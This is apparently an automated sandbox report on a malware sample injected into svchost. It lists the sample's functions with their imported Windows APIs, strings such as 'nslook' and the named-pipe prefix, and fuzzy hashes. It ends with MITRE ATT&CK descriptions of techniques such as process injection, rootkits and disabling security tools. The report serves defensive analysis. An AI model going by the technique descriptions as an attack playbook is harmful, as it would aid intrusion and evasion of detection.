Instruction Fuzzy Hash: 3361F531625B4291EF91FB28F6A17DA73A8FB44F44F542025A98E277A5EF3EC108C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF4A140 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 000001B8BFF4A1C3
GetLastError.KERNEL32 ref: 000001B8BFF4A1D1
LoadLibraryExW.KERNEL32 ref: 000001B8BFF4A1FB
FreeLibrary.KERNEL32 ref: 000001B8BFF4A241
GetProcAddress.KERNEL32 ref: 000001B8BFF4A24D

Strings

api-ms-, xrefs: 000001B8BFF4A1E3

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction ID: 6f73d6dcfb3615375baa24daab3803a4a75f3bc2b7400d15212ba5295ccf1c98
Opcode Fuzzy Hash: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction Fuzzy Hash: 9631E132316B4281EE12BF27AA007D9B39CF758FA4F194125DD291B795EF7AC144D300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF42E38 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001B8BFF42E95
lstrcpyW.KERNEL32 ref: 000001B8BFF42EAA
lstrcatW.KERNEL32 ref: 000001B8BFF42EB7
lstrcmpiW.KERNEL32 ref: 000001B8BFF42F03

Part of subcall function 000001B8BFF4A610: _invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF4A62D

Strings

nslook, xrefs: 000001B8BFF42E5C
\\.\pipe\, xrefs: 000001B8BFF42E84

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction ID: f5005cc2ea65ae7c61931ab92c97414a19f8c3f93b082654ee1533911d63e787
Opcode Fuzzy Hash: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction Fuzzy Hash: 14319F727006429AEB14AF36D6903E8B77ABB48F84F944025CE0A67F94DF7AD955C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF427E9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001B8BFF42846
lstrcpyW.KERNEL32 ref: 000001B8BFF4285D
lstrcatW.KERNEL32 ref: 000001B8BFF4286E
lstrcmpiW.KERNEL32 ref: 000001B8BFF428C9

Part of subcall function 000001B8BFF4A610: _invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF4A62D

Strings

nslook, xrefs: 000001B8BFF4280D
\\.\pipe\, xrefs: 000001B8BFF42837

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction ID: 1a69fd29da5c4f9a2ec6f1110c81e3249ffd3cd67aab0f28cecd040108f68699
Opcode Fuzzy Hash: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction Fuzzy Hash: 6E31BF3660468682FB64BF35EA943ED7368FB40F84F544026CE0A63BA4DF3AD509D708

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF5295C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001B8BFF5298D
GetLastError.KERNEL32 ref: 000001B8BFF52999
CloseHandle.KERNEL32 ref: 000001B8BFF529B1
CreateFileW.KERNEL32 ref: 000001B8BFF529DC
WriteConsoleW.KERNEL32 ref: 000001B8BFF529FB

Strings

CONOUT$, xrefs: 000001B8BFF529BD

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction ID: 3a72b7ed54437a720ec44cb2ea935fa2f4f4e461725da61f96e90663b19d8ddc
Opcode Fuzzy Hash: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction Fuzzy Hash: 6A11BF32710B4086E750AB62F954399B7A8F788FE4F104325EE1D87BA8CF39D818C744

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF419F0 Relevance: 10.3, APIs: 8, Instructions: 286stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001B8BFF41A84
lstrcmpiW.KERNEL32 ref: 000001B8BFF41B5C

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction ID: f129c3fc5f3b662ea668e09758b84b8f033844573d7d34b4ab39db878069e53c
Opcode Fuzzy Hash: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction Fuzzy Hash: 0DC15C76711A0286EBA2EF2AD2817A973B9F798FC0F559116CB0953B50EF36D891C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF46A40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001B8BFF46A7B
GetThreadContext.KERNEL32 ref: 000001B8BFF46BE5

Part of subcall function 000001B8BFF46870: GetCurrentThreadId.KERNEL32 ref: 000001B8BFF46874

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 112745dca1d9940aee9ba0f7cc7e8e0e80d3374185eaee056ac988d214650fbc
Instruction ID: 1f5fc437b6f6b040f1c1f5e1f9ef48ded882a6a98814d20cddb07468d4b61540
Opcode Fuzzy Hash: 112745dca1d9940aee9ba0f7cc7e8e0e80d3374185eaee056ac988d214650fbc
Instruction Fuzzy Hash: 5ED1BA76208B8981DA70EB5AE59039AB7B4F3C8F88F504156EE8D57BA9DF3DC541CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF4ACFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001B8BFF4AD18
GetProcAddress.KERNEL32 ref: 000001B8BFF4AD2E
FreeLibrary.KERNEL32 ref: 000001B8BFF4AD4B

Strings

mscoree.dll, xrefs: 000001B8BFF4AD0F
CorExitProcess, xrefs: 000001B8BFF4AD27

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction ID: f1d255924cd9de6f150f5eaa9541634f8d809c18518ffb59a966a005f029fad3
Opcode Fuzzy Hash: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction Fuzzy Hash: 2DF08271711A4081FF44BF31E9953E97368EB48F45F452015A90B4A360DF2ED488C300

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF45FE0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001B8BFF46066

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a5677a038b55d8d76fe810e20bdc73de9dbac67e160872f0c0df855017d297c9
Instruction ID: e57206d9fcccc70b07720b9a0e68ca42caeba63aaae8028bc7e406438b64ce84
Opcode Fuzzy Hash: a5677a038b55d8d76fe810e20bdc73de9dbac67e160872f0c0df855017d297c9
Instruction Fuzzy Hash: EB02CC32219B8586EB60DB69F59039AB7B4F3C4B94F104015EA8E97BA9DF7DC444CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF5194C Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF5198D
GetConsoleMode.KERNEL32 ref: 000001B8BFF51A4C
GetLastError.KERNEL32 ref: 000001B8BFF51ACC

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction ID: b17619c51a2d723de84ae150da3458008b5e72df293350c3a24b6ae6c818fbae
Opcode Fuzzy Hash: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction Fuzzy Hash: 7F81DF32710A1099FB11BFB5CAA03ED37A8F744F98F445216DE0A53B96EF36A445C710

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF46620 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001B8BFF46636

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e3fcfa5ac0ebfbde2ff02e9ac01ebc0fc7258c68d43b414eb0961e0bb892ddad
Instruction ID: 9b987869a49914519cdeff562934dfb1584c993c188d3c71289ed5ab85880a73
Opcode Fuzzy Hash: e3fcfa5ac0ebfbde2ff02e9ac01ebc0fc7258c68d43b414eb0961e0bb892ddad
Instruction Fuzzy Hash: 1B610A32618B81C6E760EF65E65039AB7A8F388B44F100116FA8D97BA8DF7EC540CF05

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF22078 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001B8BFF220A0
_set_statfp.LIBCMT ref: 000001B8BFF220BB
_set_statfp.LIBCMT ref: 000001B8BFF220D7
_set_statfp.LIBCMT ref: 000001B8BFF22113

Memory Dump Source

Source File: 00000031.00000002.508827639.000001B8BFF10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff10000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction ID: db4cdb93a7890c039f95340cbe20adbbc2898413306fad0270481d9de2bdf508
Opcode Fuzzy Hash: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction Fuzzy Hash: 57117332A58A4102F7687238F7563ED3348AB55B74F454634BF665BFE6CF2B8A81D100

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF52C78 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001B8BFF52CA0
_set_statfp.LIBCMT ref: 000001B8BFF52CBB
_set_statfp.LIBCMT ref: 000001B8BFF52CD7
_set_statfp.LIBCMT ref: 000001B8BFF52D13

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 7789d84716f6884de17b4313baa740627942af4b8a20b46fa79230296547007b
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 1111C272A50A4101F7643238E75A3E93749AB54B74F580724AF7B26FEBAF1BE851C210

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF1DD54 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 175COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF1DE25

Strings

Oct, xrefs: 000001B8BFF1DDF5
Dec, xrefs: 000001B8BFF1DEF1
January, xrefs: 000001B8BFF1DF00

Memory Dump Source

Source File: 00000031.00000002.508827639.000001B8BFF10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff10000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Dec$January$Oct
API String ID: 3215553584-2670745533
Opcode ID: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction ID: 3a784736c33743646cbbaf27caad2e1a7f7792e00d0f17f6e74a0644b38bcbf9
Opcode Fuzzy Hash: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction Fuzzy Hash: AC617A3260064482FAA8BB38A7903EF7BB9A794F85F144419FA4A177A5DF77CB41C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF19A10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF19A2D
_invalid_parameter_noinfo.LIBCMT ref: 000001B8BFF19A8E

Strings

r-dialogbox-l1-1-0, xrefs: 000001B8BFF19AE5

Memory Dump Source

Source File: 00000031.00000002.508827639.000001B8BFF10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff10000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: r-dialogbox-l1-1-0
API String ID: 3215553584-4250323851
Opcode ID: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction ID: ea92bbebb3f69a50aed456c44c937607cc1ecbd232a5df6af0add1d9190539f2
Opcode Fuzzy Hash: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction Fuzzy Hash: 5541DE7260078481EB35BB2296403FB7BA8E355FD4F584252FA99077E6CF2AC781C780

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF41000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001B8BFF41060
RegEnumValueW.ADVAPI32 ref: 000001B8BFF410E5

Strings

d, xrefs: 000001B8BFF410A5

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: EnumInfoQueryValue
String ID: d
API String ID: 918324718-2564639436
Opcode ID: 2b6f759017033bc42d1ee0350eeb4893f61cf903c5f23e249b9070065a49af58
Instruction ID: 57a6385722d53f893f33705b4f2bf82e5598bd759d0b585dc7b0c17cff349377
Opcode Fuzzy Hash: 2b6f759017033bc42d1ee0350eeb4893f61cf903c5f23e249b9070065a49af58
Instruction Fuzzy Hash: 75415972208B8086E761DB21F98139FB3A9F3C9B80F544519EB9953B18DF39D465CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF516F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001B8BFF51807
GetLastError.KERNEL32 ref: 000001B8BFF51829

Strings

U, xrefs: 000001B8BFF517B3

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction ID: 5579c5a5454cda3248de12dc7cb98da762c6a7dcd44174cbc07839beff5aa395
Opcode Fuzzy Hash: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction Fuzzy Hash: 9541C032714A8082EB20AF39F9543EA77A8F798B84F844121EE4D87788EF3DE441C744

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF4C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001B8BFF4C849
LCMapStringW.KERNEL32 ref: 000001B8BFF4C8D1

Strings

LCMapStringEx, xrefs: 000001B8BFF4C82C, 000001B8BFF4C83D

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction ID: 73b5c6d5c4e7a52a48ddfa72b9ee33fb79f12bdb05eb6c26e39e188af0965454
Opcode Fuzzy Hash: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction Fuzzy Hash: C2111736608B8086D764DB66F58029AB7A8F7C9BC0F544126EECD93B29CF39C454CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF49CE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 000001B8BFF49D28
RaiseException.KERNEL32 ref: 000001B8BFF49D6E

Strings

csm, xrefs: 000001B8BFF49D5B

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction ID: 3b5cb8bbcfdcd9e187096b07bd16b8b84a64393a13f471871762df021645d6d0
Opcode Fuzzy Hash: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction Fuzzy Hash: DC11F832614B8582EB219F25F540399B7A9F788F94F184221DFC917B64EF3AC551CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF4C7AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001B8BFF4C7DD
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001B8BFF4C7F7

Strings

InitializeCriticalSectionEx, xrefs: 000001B8BFF4C7D1

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction ID: 47b982454cf8a7bfd15413bf3e188b5b21d0983692a092236e39e49e020008cd
Opcode Fuzzy Hash: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction Fuzzy Hash: 63F0A735710B9092EB08BF61F6907D93368FB48FC0F485025D95927B65CF3AD485C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001B8BFF4C758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001B8BFF4C781
TlsSetValue.KERNEL32 ref: 000001B8BFF4C798

Strings

FlsSetValue, xrefs: 000001B8BFF4C76E

Memory Dump Source

Source File: 00000031.00000002.508956244.000001B8BFF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B8BFF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1b8bff40000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction ID: 7ac1bd62ef79e3474dee08fbfb5f13e05748c7df1620033be10d7825011cecf7
Opcode Fuzzy Hash: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction Fuzzy Hash: 5EE0D87561064292FB187B70FB543E9332AAB88F80F8C5022D91907375CF3ED888C700

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

